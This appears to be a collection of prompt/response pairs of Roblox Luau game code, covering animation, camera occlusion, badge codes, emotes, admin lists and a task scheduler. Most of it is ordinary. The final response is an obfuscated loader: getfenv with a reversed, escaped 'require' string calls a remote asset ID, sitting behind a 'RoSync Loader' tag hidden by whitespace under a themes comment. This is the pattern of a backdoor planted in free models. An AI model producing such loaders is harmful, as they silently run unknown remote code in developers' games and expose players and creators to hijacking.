Response:
local function Lock<T>(tbl: T): T
	local function Freeze(t: { [any]: any })
		for k, v in pairs(t) do
			if type(v) == "table" then
				t[k] = Freeze(v)
			end
		end
		return table.freeze(t)
	end
	return Freeze(tbl :: any)
end


Prompt: --/Sight

Response:
module.SightZoom 	= 0		-- Set to 0 if you want to use weapon's default zoom
module.SightZoom2 	= 0		-- Set this to alternative zoom or Aimpart2 Zoom


Prompt: -- ROBLOX deviation START: binding support

Response:
type ReactBinding<T> = ReactTypes.ReactBinding<T>
type ReactBindingUpdater<T> = ReactTypes.ReactBindingUpdater<T>


Prompt: -- Local Functions

Response:
local function awardBadge(player, badgeId)
	-- Fetch badge information
	local success, badgeInfo = pcall(function()
		return BadgeService:GetBadgeInfoAsync(badgeId)
	end)
	if success then
		-- Confirm that badge can be awarded
		if badgeInfo.IsEnabled then
			-- Award badge
			local awarded, errorMessage = pcall(function()
				BadgeService:AwardBadge(player.UserId, badgeId)
				return true
			end)
			if not awarded then
				warn("Error while awarding badge:", errorMessage)
				return false
			end
		end
	else
		warn("Error while fetching badge info!")
		return false
	end
end

local function handleCodeRedemption(player, code)
	-- Check if code is valid
	local foundIndex = false
	for codeIndex, badgeId in ipairs (GameSettings.codes) do
		if codeIndex == code then
			foundIndex = codeIndex
		end
	end

	if not foundIndex then
		RedeemCode:FireClient(player, "Invalid code!")
		return
	end

	-- Player has redeemed code, can't redeem again
	if DataStore:HasRedeemedCode(player, code) then
		RedeemCode:FireClient(player, "Code already redeemed!")
		return
	end

	local redeemed = DataStore:RedeemCode(player, GameSettings.codes[foundIndex])
	if redeemed then
		-- Give prize based on code
		if awardBadge(player, GameSettings.codes[foundIndex]) then
			-- Tell client that code has been redeemed
			RedeemCode:FireClient(player, "Successfully redeemed!")
		end
	end

	-- Tell client that code has been redeemed
	RedeemCode:FireClient(player, "Error redeeming code!")
end


Response:
local toolAnimName = ""
local toolAnimTrack = nil
local toolAnimInstance = nil
local currentToolAnimKeyframeHandler = nil

function toolKeyFrameReachedFunc(frameName)
	if (frameName == "End") then
		playToolAnimation(toolAnimName, 0.0, Humanoid)
	end
end

function playToolAnimation(animName, transitionTime, humanoid, priority)
		local idx = rollAnimation(animName)
		local anim = animTable[animName][idx].anim

		if (toolAnimInstance ~= anim) then

			if (toolAnimTrack ~= nil) then
				toolAnimTrack:Stop()
				toolAnimTrack:Destroy()
				transitionTime = 0
			end

			-- load it to the humanoid; get AnimationTrack
			toolAnimTrack = humanoid:LoadAnimation(anim)
			if priority then
				toolAnimTrack.Priority = priority
			end

			-- play the animation
			toolAnimTrack:Play(transitionTime)
			toolAnimName = animName
			toolAnimInstance = anim

			currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
		end
end

function stopToolAnimations()
	local oldAnim = toolAnimName

	if (currentToolAnimKeyframeHandler ~= nil) then
		currentToolAnimKeyframeHandler:disconnect()
	end

	toolAnimName = ""
	toolAnimInstance = nil
	if (toolAnimTrack ~= nil) then
		toolAnimTrack:Stop()
		toolAnimTrack:Destroy()
		toolAnimTrack = nil
	end

	return oldAnim
end


Response:
local function queryPoint(origin, unitDir, dist, lastPos)
	debug.profilebegin("queryPoint")

	local originalSize = #blacklist

	dist = dist + nearPlaneZ
	local target = origin + unitDir*dist

	local softLimit = inf
	local hardLimit = inf
	local movingOrigin = origin

	repeat
		local entryPart, entryPos = workspace:FindPartOnRayWithIgnoreList(ray(movingOrigin, target - movingOrigin), blacklist, false, true)

		if entryPart then
			if canOcclude(entryPart) then
				local wl = {entryPart}
				local exitPart = workspace:FindPartOnRayWithWhitelist(ray(target, entryPos - target), wl, true)

				local lim = (entryPos - origin).Magnitude

				if exitPart then
					local promote = false
					if lastPos then
						promote =
							workspace:FindPartOnRayWithWhitelist(ray(lastPos, target - lastPos), wl, true) or
							workspace:FindPartOnRayWithWhitelist(ray(target, lastPos - target), wl, true)
					end

					if promote then
						-- Ostensibly a soft limit, but the camera has passed through it in the last frame, so promote to a hard limit.
						hardLimit = lim
					elseif dist < softLimit then
						-- Trivial soft limit
						softLimit = lim
					end
				else
					-- Trivial hard limit
					hardLimit = lim
				end
			end

			blacklist[#blacklist + 1] = entryPart
			movingOrigin = entryPos - unitDir*1e-3
		end
	until hardLimit < inf or not entryPart

	eraseFromEnd(blacklist, originalSize)

	debug.profileend()
	return softLimit - nearPlaneZ, hardLimit - nearPlaneZ
end

local function queryViewport(focus, dist)
	debug.profilebegin("queryViewport")

	local fP =  focus.p
	local fX =  focus.rightVector
	local fY =  focus.upVector
	local fZ = -focus.lookVector

	local viewport = camera.ViewportSize

	local hardBoxLimit = inf
	local softBoxLimit = inf

	-- Center the viewport on the PoI, sweep points on the edge towards the target, and take the minimum limits
	for viewX = 0, 1 do
		local worldX = fX*((viewX - 0.5)*projX)

		for viewY = 0, 1 do
			local worldY = fY*((viewY - 0.5)*projY)

			local origin = fP + nearPlaneZ*(worldX + worldY)
			local lastPos = camera:ViewportPointToRay(
				viewport.x*viewX,
				viewport.y*viewY
			).Origin

			local softPointLimit, hardPointLimit = queryPoint(origin, fZ, dist, lastPos)

			if hardPointLimit < hardBoxLimit then
				hardBoxLimit = hardPointLimit
			end
			if softPointLimit < softBoxLimit then
				softBoxLimit = softPointLimit
			end
		end
	end
	debug.profileend()

	return softBoxLimit, hardBoxLimit
end

local function testPromotion(focus, dist, focusExtrapolation)
	debug.profilebegin("testPromotion")

	local fP = focus.p
	local fX = focus.rightVector
	local fY = focus.upVector
	local fZ = -focus.lookVector

	do
		-- Dead reckoning the camera rotation and focus
		debug.profilebegin("extrapolate")

		local SAMPLE_DT = 0.0625
		local SAMPLE_MAX_T = 1.25

		local maxDist = (getCollisionPoint(fP, focusExtrapolation.posVelocity*SAMPLE_MAX_T) - fP).Magnitude
		-- Metric that decides how many samples to take
		local combinedSpeed = focusExtrapolation.posVelocity.magnitude

		for dt = 0, min(SAMPLE_MAX_T, focusExtrapolation.rotVelocity.magnitude + maxDist/combinedSpeed), SAMPLE_DT do
			local cfDt = focusExtrapolation.extrapolate(dt) -- Extrapolated CFrame at time dt

			if queryPoint(cfDt.p, -cfDt.lookVector, dist) >= dist then
				return false
			end
		end

		debug.profileend()
	end

	do
		-- Test screen-space offsets from the focus for the presence of soft limits
		debug.profilebegin("testOffsets")

		for _, offset in ipairs(SCAN_SAMPLE_OFFSETS) do
			local scaledOffset = offset
			local pos = getCollisionPoint(fP, fX*scaledOffset.x + fY*scaledOffset.y)
			if queryPoint(pos, (fP + fZ*dist - pos).Unit, dist) == inf then
				return false
			end
		end

		debug.profileend()
	end

	debug.profileend()
	return true
end

local function Popper(focus, targetDist, focusExtrapolation)
	debug.profilebegin("popper")

	subjectRoot = subjectPart and subjectPart:GetRootPart() or subjectPart

	local dist = targetDist
	local soft, hard = queryViewport(focus, targetDist)
	if hard < dist then
		dist = hard
	end
	if soft < dist and testPromotion(focus, targetDist, focusExtrapolation) then
		dist = soft
	end

	subjectRoot = nil

	debug.profileend()
	return dist
end

return Popper


Prompt: -- Requests the mob to perform a jump if there's an obstacle in the way of it.

Response:
function AI:RequestJump(Mob)
	if not Mob.Instance then
		return
	end

	local Root: BasePart = Mob.Root
	local JumpHeight: number = (Mob.Enemy.JumpPower ^ 2) / (2 * workspace.Gravity) * .8
	local HipPoint: CFrame = Root.CFrame + (Root.CFrame.LookVector*(Root.Size.Z/2-0.2)) + (Root.CFrame.UpVector/-Root.Size.Y/2)

	local RaycastResult = workspace:Raycast(
		HipPoint.Position,
		HipPoint.LookVector * Mob.Enemy.WalkSpeed/4,
		RaycastParams
	)

	if RaycastResult then
		-- There is an obstacle, but they should be able to jump over it!
		if RaycastResult.Instance ~= workspace.Terrain then
			local PartHeight: number = (RaycastResult.Instance.Position + Vector3.new(0, RaycastResult.Instance.Size.Y/2, 0)).Y
			if (HipPoint.Position.Y + JumpHeight) > PartHeight then
				Mob.Enemy.Jump = true
			end
		else
			Mob.Enemy.Jump = true
		end
	end
end


Prompt: -- Discard any excess return values

Response:
local function first(x)
	return x
end


Prompt: -- Place in StarterGui.

Response:
local Players = game:GetService("Players")

function onPlayerAdded(player)
	game:GetService("StarterGui"):SetCore("ChatMakeSystemMessage",{
	Text = ("[SERVER]: ".. player.Name .. " has entered the game.");
	Color = Color3.new(255,255,255);
	Font = Enum.Font.SourceSansBold;
	FontSize = Enum.FontSize.Size18;
})
end

Players.PlayerAdded:connect(onPlayerAdded)

for _,player in pairs(Players:GetPlayers()) do
     onPlayerAdded(player)
end


Prompt:
--!strict
--[=[
	@function flatten
	@within Array

	@param array {T} -- The array to flatten.
	@param depth? number -- The depth to flatten the array to.
	@return {T} -- The flattened array.

	Flattens an array. If depth is not specified, it will flatten
	the array as far as it can go.

	```lua
	local array = {
		{ 1, 2, 3 },
		{ 4, 5, 6 },
		{ 7, { 8, 9 } },
	}

	local new = Flatten(array) -- { 1, 2, 3, 4, 5, 6, 7, 8, 9 }
	local new = Flatten(array, 1) -- { 1, 2, 3, 4, 5, 6, 7, { 8, 9 } }
	```
]=]

Response:
local function flatten<T>(array: { T }, depth: number?): { T }
	depth = if type(depth) == "number" then depth else math.huge

	local result = {}

	for _, value in ipairs(array) do
		if type(value) == "table" and depth > 0 then
			local nested = flatten(value, depth - 1)

			for _, nestedValue in ipairs(nested) do
				table.insert(result, nestedValue)
			end
		else
			table.insert(result, value)
		end
	end

	return result
end

return flatten


Prompt: -- Do the things.

Response:
for i, f in ipairs(autoEvents) do
	f()
end


Prompt: -- Local Functions

Response:
local function OnPlayerAdded(player)
	-- Setup leaderboard stats
	local leaderstats = Instance.new("Model", player)
	leaderstats.Name = "leaderstats"

	local KWA = Instance.new("StringValue", leaderstats)
	if Configurations.GRANT_ASSISTS then
		KWA.Name = "KO - WO - A"
		KWA.Value = "0 - 0 - 0"
	else
		KWA.Name = "KO - WO"
		KWA.Value = "0 - 0"
	end

	ScoreArray[player] = { 0, 0, 0 } -- KOs, WOs, Assists

	TeamManager:AssignPlayerToTeam(player)

	player.CharacterAdded:connect(function(character)
		character:WaitForChild("Humanoid").Died:connect(function()
			PlayerManager:PlayerDied(player)
			wait(Configurations.RESPAWN_TIME)
			if GameRunning then
				player:LoadCharacter()
			end
		end)
	end)

	if PlayersCanSpawn then
		player:LoadCharacter()
	else
		DisplayManager:StartIntermission(player)
	end
end

local function OnPlayerRemoving(player)
	TeamManager:RemovePlayer(player)
end

local function UpdatePlayerScore(player)
	local KOString = tostring(ScoreArray[player][1])
	local WOString = tostring(ScoreArray[player][2])
	local AssistString = tostring(ScoreArray[player][3])

	if not Configurations.GRANT_ASSISTS then
		if KOString:len() < WOString:len() then
			while KOString:len() < WOString:len() do
				KOString = " " .. KOString
			end
		else
			while WOString:len() < WOString:len() do
				WOString = WOString .. " "
			end
		end
		player.leaderstats["KO - WO"].Value = KOString .. " - " .. WOString
	else
		player.leaderstats["KO - WO - A"].Value = KOString .. " - " .. WOString .. " - " .. AssistString
	end
end


Prompt:
--[[
	Sets the given emote as unlocked for the given Player.
]]

Response:
local function unlockEmote(runService, emoteManager, changeEmoteLock)
	if runService:IsServer() then
		return function(player: Player, emoteName: string): nil
			assert(t.string(emoteName))
			emoteManager:setEmoteIsLockedForPlayer(player, emoteName, false)
		end
	else
		-- Calling unlockEmote from the client is deprecated. To preserve
		-- backwards compatibility, a remote event is fired to the new server
		-- side unlockEmote function
		return function(emoteName: string): nil
			warn("Calling unlockEmote from the client is deprecated. Please call from a server Script instead.")
			changeEmoteLock:FireServer(emoteName, false)
		end
	end
end

return unlockEmote


Prompt:
--[[
	Sets up the EmoteManager for the given player.
]]

Response:
local function setupEmoteManager(player)
	local humanoid = player.Character:WaitForChild("Humanoid")
	local humanoidDescription = humanoid:WaitForChild("HumanoidDescription")
	emoteManager:setup(player, humanoidDescription)

	local connection
	connection = humanoid.Died:Connect(function()
		stopEmote(player)
		player.CharacterAdded:Wait()
		setupEmoteManager(player)
		connection:Disconnect()
	end)
end

local function onPlayerAdded(player)
	if not player.Character then
		player.CharacterAdded:Wait()
	end
	setupEmoteManager(player)
end

local function onPlayerRemoving(player)
	stopEmote(player)

	emoteManager:cleanup(player.UserId)
end

local function onChangeEmoteLock(player, emoteName, isLocked)
	assert(onChangeEmoteLockCheck(emoteName, isLocked))

	emoteManager:setEmoteIsLockedForPlayer(player, emoteName, isLocked)
end

emotePlayed.OnServerEvent:Connect(startEmote)
emoteStopped.OnServerEvent:Connect(stopEmote)
changeEmoteLock.OnServerEvent:Connect(onChangeEmoteLock)

Players.PlayerAdded:Connect(onPlayerAdded)
Players.PlayerRemoving:Connect(onPlayerRemoving)

loadEmoteAssets()


Prompt: -- Ensures that 'actual' & 'expected' are of type 'number'

Response:
local function ensureNumbers(actual: any, expected: any, matcherName: string, options: MatcherHintOptions?): ()
	ensureActualIsNumber(actual, matcherName, options)
	ensureExpectedIsNumber(expected, matcherName, options)
end

local function ensureExpectedIsNonNegativeInteger(expected: any, matcherName: string, options: MatcherHintOptions?): ()
	if typeof(expected) ~= "number" or not Number.isSafeInteger(expected) or expected < 0 then
		local matcherString = matcherName

		if not options then
			matcherString = "[.never]" .. matcherString
		end

		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherString, nil, nil, options),
					EXPECTED_COLOR("expected") .. " value must be a non-negative integer",
					printWithType("Expected", expected, printExpected)
				)
			)
		)
	end
end


Prompt: --This script should work. Only 30 lines. Amazing! Feel free to add more buttons in tab to your liking.

Response:
local tabs = script.Parent.TABS:GetChildren()
for i = 1, #tabs do
	local buttons = tabs[i]:GetChildren()
	for i = 1, #buttons do
		function sell()
			hint = Instance.new("Hint",script.Parent.Parent.Parent.Parent.PlayerGui)
			Game:GetService("Debris"):AddItem(hint, 2)
			local gp = script.Parent.Parent.Parent.Parent.leaderstats:FindFirstChild("Gold")
			local bp = script.Parent.Parent.Parent.Parent.Backpack
			local sg = script.Parent.Parent.Parent.Parent.StarterGear
			local bptool = bp:FindFirstChild(buttons[i].Item.Value)
			local sgtool = sg:FindFirstChild(buttons[i].Item.Value)
			local sellvalue = buttons[i].SellPrice.Value
			if bptool ~= nil and sgtool ~= nil then
				bptool:Remove()
				sgtool:Remove()
				gp.Value = gp.Value + sellvalue
				hint.Text = "You sold " ..buttons[i].Text.. " for " ..buttons[i].PriceDisplay.Text.. " Gold!"
			elseif bptool == nil and sgtool ~= nil then
				sgtool:Remove()
				gp.Value = gp.Value + sellvalue
				hint.Text = "You sold " ..buttons[i].Text.. " for " ..buttons[i].PriceDisplay.Text.. " Gold!"
			else hint.Text = "You don't have " ..buttons[i].Text.. "!"
			end
		end
	buttons[i].MouseButton1Click:connect(sell)
	end
end


Prompt: --Made by Luckymaxer

Response:
local Tool = script.Parent
local Handle = Tool:WaitForChild("Handle")
local CoilSound = Handle:WaitForChild("CoilSound")
local Character = game.Players.LocalPlayer.Character
local Head = Character.Humanoid.Head

EqualizingForce = (236 / 1.2) -- amount of force required to levitate a mass
Gravity = 0.85 -- things float at > 1

GhostEffect = nil
MassCon1 = nil
MassCon2 = nil

function GetTotalMass(root)
	local force = 0

	for _, obj in pairs(root:GetChildren()) do
		if obj:IsA("BasePart") then
			force = force + obj:GetMass() * EqualizingForce * Gravity
		end
		force = force + GetTotalMass(obj)
	end

	return force
end

function OnMassChanged(child, character)
	if GhostEffect and GhostEffect.Parent then
		GhostEffect.force = Vector3.new(0, GetTotalMass(Character), 0)
	end
end

function UpdateGhostState(Unequipped)
	if Unequipped then
		GhostEffect:Destroy()
		GhostEffect = nil
		MassCon1:disconnect()
		MassCon2:disconnect()
	else
		if not GhostEffect then
			GhostEffect = Instance.new("BodyForce")
			GhostEffect.Name = "GravityCoilEffect"
			GhostEffect.force = Vector3.new(0, GetTotalMass(Character), 0)
			GhostEffect.Parent = Head
			MassCon1 = Character.ChildAdded:connect(function(Child)
				OnMassChanged(Child, Character)
			end)
			MassCon2 = Character.ChildRemoved:connect(function(Child)
				OnMassChanged(Child, Character)
			end)
		end
	end
end

function OnEquipped()
	Character = Tool.Parent
	Head = Character:FindFirstChild("Head")
	if not Head or not Head.Parent then
		return
	end
	CoilSound:Play()
	UpdateGhostState(false)
end

function OnUnequipped()
	UpdateGhostState(true)
end

Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)


Prompt: --Button size

Response:
local ButtonSX = Button.Size.X.Scale
local ButtonSY = Button.Size.Y.Scale

Button.MouseEnter:Connect(function(x,y)
	--HolaMousee
	Button:TweenSize(
		UDim2.new(ButtonSX + 0.006 , 0,ButtonSY + 0.006, 0),
		Enum.EasingDirection.Out,
		Enum.EasingStyle.Back,
		0.2,
		true
	)
end)

Button.MouseLeave:Connect(function(x,y)
	--AdiosMousee
	Button:TweenSize(
		UDim2.new(ButtonSX, 0,ButtonSY, 0),
		Enum.EasingDirection.Out,
		Enum.EasingStyle.Back,
		0.2,
		true
	)
end)

Button.MouseButton1Down:Connect(function(x,y)
	--Holding mouse
	Button:TweenSize(
		UDim2.new(ButtonSX - 0.006 , 0,ButtonSY - 0.006, 0),
		Enum.EasingDirection.Out,
		Enum.EasingStyle.Back,
		0.15,
		true
	)
end)

Button.MouseButton1Up:Connect(function(x,y)
	--Holding mouse
	Button:TweenSize(
		UDim2.new(ButtonSX + 0.006 ,0, ButtonSY + 0.006, 0),
		Enum.EasingDirection.Out,
		Enum.EasingStyle.Back,
		0.15,
		true
	)
end)


Prompt:
-- jest --no-expand
--
-- Given array of aligned strings with inverse highlight formatting,
-- return joined lines with diff formatting (and patch marks, if needed).

Response:
local function joinAlignedDiffsNoExpand(diffs: Array<Diff>, options: DiffOptionsNormalized): string
	local iLength = #diffs
	local nContextLines = options.contextLines
	local nContextLines2 = nContextLines + nContextLines

	-- First pass: count output lines and see if it has patches.
	local jLength = iLength
	local hasExcessAtStartOrEnd = false
	local nExcessesBetweenChanges = 0
	local i = 0
	while i ~= iLength do
		local iStart = i
		while i ~= iLength and diffs[i + 1][1] == DIFF_EQUAL do
			i += 1
		end

		if iStart ~= i then
			if iStart == 0 then
				-- at start
				if i > nContextLines then
					jLength -= i - nContextLines -- subtract excess common lines
					hasExcessAtStartOrEnd = true
				end
			elseif i == iLength then
				-- at end
				local n = i - iStart
				if n > nContextLines then
					jLength -= n - nContextLines -- subtract excess common lines
					hasExcessAtStartOrEnd = true
				end
			else
				-- between changes
				local n = i - iStart
				if n > nContextLines2 then
					jLength -= n - nContextLines2 -- subtract excess common lines
					nExcessesBetweenChanges += 1
				end
			end
		end

		while i ~= iLength and diffs[i + 1][1] ~= DIFF_EQUAL do
			i += 1
		end
	end

	local hasPatch = nExcessesBetweenChanges ~= 0 or hasExcessAtStartOrEnd
	if nExcessesBetweenChanges ~= 0 then
		jLength += nExcessesBetweenChanges + 1 -- add patch lines
	elseif hasExcessAtStartOrEnd then
		jLength += 1 -- add patch line
	end
	local jLast = jLength - 1

	local lines: { [number]: string } = {}

	local jPatchMark = 0 -- index of placeholder line for current patch mark
	if hasPatch then
		table.insert(lines, "") -- placeholder line for first patch mark
	end

	-- Indexes of expected or received lines in current patch:
	local aStart = 0
	local bStart = 0
	local aEnd = 0
	local bEnd = 0

	local pushCommonLine = function(line: string): ()
		local j = #lines
		table.insert(lines, printCommonLine(line, j == 0 or j == jLast, options))
		aEnd += 1
		bEnd += 1
	end

	local pushDeleteLine = function(line: string): ()
		local j = #lines
		table.insert(lines, printDeleteLine(line, j == 0 or j == jLast, options))
		aEnd += 1
	end

	local pushInsertLine = function(line: string): ()
		local j = #lines
		table.insert(lines, printInsertLine(line, j == 0 or j == jLast, options))
		bEnd += 1
	end

	-- Second pass: push lines with diff formatting (and patch marks, if needed).
	i = 0
	while i ~= iLength do
		local iStart = i
		while i ~= iLength and diffs[i + 1][1] == DIFF_EQUAL do
			i += 1
		end

		if iStart ~= i then
			if iStart == 0 then
				-- at beginning
				if i > nContextLines then
					iStart = i - nContextLines
					aStart = iStart
					bStart = iStart
					aEnd = aStart
					bEnd = bStart
				end

				local iCommon = iStart
				while iCommon ~= i do
					pushCommonLine(diffs[iCommon + 1][2])
					iCommon += 1
				end
			elseif i == iLength then
				-- at end
				local iEnd = i
				if i - iStart > nContextLines then
					iEnd = iStart + nContextLines
				end

				local iCommon = iStart
				while iCommon ~= iEnd do
					pushCommonLine(diffs[iCommon + 1][2])
					iCommon += 1
				end
			else
				-- between changes
				local nCommon = i - iStart

				if nCommon > nContextLines2 then
					local iEnd = iStart + nContextLines

					local iCommon = iStart
					while iCommon ~= iEnd do
						pushCommonLine(diffs[iCommon + 1][2])
						iCommon += 1
					end

					lines[jPatchMark + 1] = createPatchMark(aStart, aEnd, bStart, bEnd, options)
					jPatchMark = #lines
					table.insert(lines, "") -- placeholder line for next patch mark

					local nOmit = nCommon - nContextLines2
					aStart = aEnd + nOmit
					bStart = bEnd + nOmit
					aEnd = aStart
					bEnd = bStart

					iCommon = i - nContextLines
					while iCommon ~= i do
						pushCommonLine(diffs[iCommon + 1][2])
						iCommon += 1
					end
				else
					local iCommon = iStart
					while iCommon ~= i do
						pushCommonLine(diffs[iCommon + 1][2])
						iCommon += 1
					end
				end
			end
		end

		while i ~= iLength and diffs[i + 1][1] == DIFF_DELETE do
			pushDeleteLine(diffs[i + 1][2])
			i += 1
		end

		while i ~= iLength and diffs[i + 1][1] == DIFF_INSERT do
			pushInsertLine(diffs[i + 1][2])
			i += 1
		end
	end

	if hasPatch then
		lines[jPatchMark + 1] = createPatchMark(aStart, aEnd, bStart, bEnd, options)
	end

	return table.concat(lines, "\n")
end


Response:
function onSwimming(speed)
	if speed > 1.00 then
		local scale = 10.0
		playAnimation("swim", 0.4, zombie)
		setAnimationSpeed(speed / scale)
		pose = "Swimming"
	else
		playAnimation("swimidle", 0.4, zombie)
		pose = "Standing"
	end
end

function animateTool()
	if (toolAnim == "None") then
		playToolAnimation("toolnone", toolTransitionTime, zombie, Enum.AnimationPriority.Idle)
		return
	end

	if (toolAnim == "Slash") then
		playToolAnimation("toolslash", 0, zombie, Enum.AnimationPriority.Action)
		return
	end

	if (toolAnim == "Lunge") then
		playToolAnimation("toollunge", 0, zombie, Enum.AnimationPriority.Action)
		return
	end
end

function getToolAnim(tool)
	for _, c in ipairs(tool:GetChildren()) do
		if c.Name == "toolanim" and c.className == "StringValue" then
			return c
		end
	end
	return nil
end

local lastTick = 0

function stepAnimate(currentTime)
	local amplitude = 1
	local frequency = 1
  	local deltaTime = currentTime - lastTick
  	lastTick = currentTime

	local climbFudge = 0
	local setAngles = false

  	if (jumpAnimTime > 0) then
  		jumpAnimTime = jumpAnimTime - deltaTime
  	end

	if (pose == "FreeFall" and jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, zombie)
	elseif (pose == "Seated") then
		playAnimation("sit", 0.5, zombie)
		return
	elseif (pose == "Running") then
		playAnimation("walk", 0.2, zombie)
	elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
		stopAllAnimations()
		amplitude = 0.1
		frequency = 1
		setAngles = true
	end

	-- Tool Animation handling
	local tool = Character:FindFirstChildOfClass("Tool")
	local requireHandleCheck = not UserSettings():IsUserFeatureEnabled("UserToolR15Fix")
	if tool and ((requireHandleCheck and tool.RequiresHandle) or tool:FindFirstChild("Handle")) then
		local animStringValueObject = getToolAnim(tool)

		if animStringValueObject then
			toolAnim = animStringValueObject.Value
			-- message recieved, delete StringValue
			animStringValueObject.Parent = nil
			toolAnimTime = currentTime + .3
		end

		if currentTime > toolAnimTime then
			toolAnimTime = 0
			toolAnim = "None"
		end

		animateTool()
	else
		stopToolAnimations()
		toolAnim = "None"
		toolAnimInstance = nil
		toolAnimTime = 0
	end
end


Prompt: --[LOCALS]--

Response:
local Icon = require(game:GetService("ReplicatedStorage").Icon)
local SocialService = game:GetService("SocialService")
local Player = game.Players.LocalPlayer
local icon = Icon.new()
:setLabel("Invite Friends", "deselected")
:setLabel("Open", "selected")
:setCaption("Invite your friends to join!")


Prompt:
--------------------------------------------------------------
-- You DO NOT need to add yourself to any of these lists!!! --
--------------------------------------------------------------

Response:
local Owners={kill1773}					-- Can set SuperAdmins, & use all the commands
local SuperAdmins={kill1773}			-- Can set permanent admins, & shutdown the game
local Admins={kill1773}					-- Can ban, crash, & set Moderators/VIP
local Mods={kill1773}					-- Can kick, mute, & use most commands
local VIP={kill1773}					-- Can use nonabusive commands only on self


Prompt: --If you parent the LocalScript manually, you can remove this script.


Response: local colorchangingpart = script.Parent --put it here tomake it easier


Prompt:
--[[
	param targetFps  Task scheduler won't run a task if it'd make the FPS drop below this amount
					 (WARNING) this only holds true if it is used properly. If you try to complete 10 union operations
					 at once in a single task then of course your FPS is going to drop -- queue the union operations
					 up one at a time so the task scheduler can do its job.

	returns scheduler
		method Pause      Pauses the scheduler so it won't run tasks. Tasks may still be added while the scheduler is
						  paused. They just won't be touched until it's resumed. Performance efficient -- disables
						  execution loop entirely until scheduler is resumed.

		method Resume     Resumes the paused scheduler.

		method Destroy    Destroys the scheduler so it can't be used anymore.

		method QueueTask  Queues a task for automatic execution.
			param callback  function (task) to be run.

	Example usage:

	local scheduler = TaskScheduler:CreateScheduler(60)
	local totalOperations = 0
	local paused
	for i=1,100 do
		scheduler:QueueTask(function()
			local partA = Instance.new("Part", workspace)
			local partB = Instance.new("Part", workspace)
			plugin:Union({partA, partB}):Destroy()
			totalOperations = totalOperations + 1
			print("Times unioned:", totalOperations)
			if (totalOperations == 50) then
				scheduler:Pause()
				paused = true
			end
		end)
	end

	repeat wait() until paused
	wait(2)
	scheduler:Resume()
--]]

Response:
function TaskScheduler:CreateScheduler(targetFps)

	local scheduler = {}
	local queue = {}
	local sleeping = true
	local paused

	local updateFrameTableEvent = nil

	local start = tick()
	runService.RenderStepped:Wait()

	local function UpdateFrameTable()
		lastIteration = tick()
		for i = #frameUpdateTable,1,-1 do
			frameUpdateTable[i + 1] = ((frameUpdateTable[i] >= (lastIteration - 1)) and frameUpdateTable[i] or nil)
		end
		frameUpdateTable[1] = lastIteration
	end

	local function Loop()
		updateFrameTableEvent = runService.RenderStepped:Connect(UpdateFrameTable)
		while (true) do
			if (sleeping) then break end
			local fps = (((tick() - start) >= 1 and #frameUpdateTable) or (#frameUpdateTable / (tick() - start)))
			if (fps >= targetFps and (tick() - frameUpdateTable[1]) < (1 / targetFps)) then
				if (#queue > 0) then
					queue[1]()
					table.remove(queue, 1)
				else
					sleeping = true
					break
				end
			else
				runService.RenderStepped:Wait()
			end
		end
		updateFrameTableEvent:Disconnect()
		updateFrameTableEvent = nil
	end

	function scheduler:Pause()
		paused = true
		sleeping = true
	end

	function scheduler:Resume()
		if (paused) then
			paused = false
			sleeping = false
			Loop()
		end
	end

	function scheduler:Destroy()
		scheduler:Pause()
		for i in pairs(scheduler) do
			scheduler[i] = nil
		end
		setmetatable(scheduler, {
			__index = function()
				error("Attempt to use destroyed scheduler")
			end;
			__newindex = function()
				error("Attempt to use destroyed scheduler")
			end;
		})
	end

	function scheduler:QueueTask(callback)
		queue[#queue + 1] = callback
		if (sleeping and not paused) then
			sleeping = false
			Loop()
		end
	end

	return scheduler

end

return TaskScheduler


Prompt: -- yaw-axis rotational velocity of a part with a given CFrame and total RotVelocity

Response:
local function yawVelocity(rotVel, cf)
	return math.abs(cf.YVector:Dot(rotVel))
end


Prompt:
--[[
	This is a dictionary that lays out the permissions of each user, and their rank.
	FORMAT: [ranknumber] = selectlimit or true. Setting it to true disables the limit
]]

Response:
local module = {
	[0] = 20000,
	[1] = true,
}

return module


Prompt:
--[=[
	@param motor Enum.VibrationMotor
	@param intensity number
	@param duration number
	Sets the gamepad's haptic motor to a certain intensity for a given
	period of time. The motor will stop vibrating after the given
	`duration` has elapsed.

	Calling any motor setter methods (e.g. `SetMotor`, `PulseMotor`,
	`StopMotor`) _after_ calling this method will override the pulse.
	For instance, if `PulseMotor` is called, and then `SetMotor` is
	called right afterwards, `SetMotor` will take precedent.

	```lua
	-- Pulse the large motor for 0.2 seconds with an intensity of 90%:
	gamepad:PulseMotor(Enum.VibrationMotor.Large, 0.9, 0.2)

	-- Example of PulseMotor being overridden:
	gamepad:PulseMotor(Enum.VibrationMotor.Large, 1, 3)
	task.wait(0.1)
	gamepad:SetMotor(Enum.VibrationMotor.Large, 0.5)
	-- Now the pulse won't shut off the motor after 3 seconds,
	-- because SetMotor was called, which cancels the pulse.
	```
]=]

Response:
function Gamepad:PulseMotor(motor: Enum.VibrationMotor, intensity: number, duration: number)
	local id = self:SetMotor(motor, intensity)
	local heartbeat = HeartbeatDelay(duration, function()
		if self._setMotorIds[motor] ~= id then return end
		self:StopMotor(motor)
	end)
	self._gamepadTrove:Add(heartbeat)
end


Prompt:
-- << SCREEN CLICKED/DRAGGED/TOUCHED >>
--Check to activate any Client Commands

Response:
local functionsToCheck = {"laserEyes"}
local function checkPressFunctions(hitPosition)
	main.lastHitPosition = hitPosition
	for _,commandName in pairs(functionsToCheck) do
		main:GetModule("cf"):ActivateClientCommand(commandName)
	end
end


Prompt:
--[[
	-----------[ THEMES ]-----------

	- LIGHT THEME:
	  If you want the light theme version of the board,
	  replace line 1 with:

	  require(2925075326).Parent = script.Parent

	- DARK THEME:
	  If you want the dark theme version of the board,
	  replace line 1 with:

	  require(5799918029).Parent = script.Parent

	- RAINBOW THEME:
	  If you want the rainbow theme version of the board,
	  replace line 1 with:

	  require(6872314867).Parent = script.Parent

--]]
--[[ Last synced 5/29/2021 05:54                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--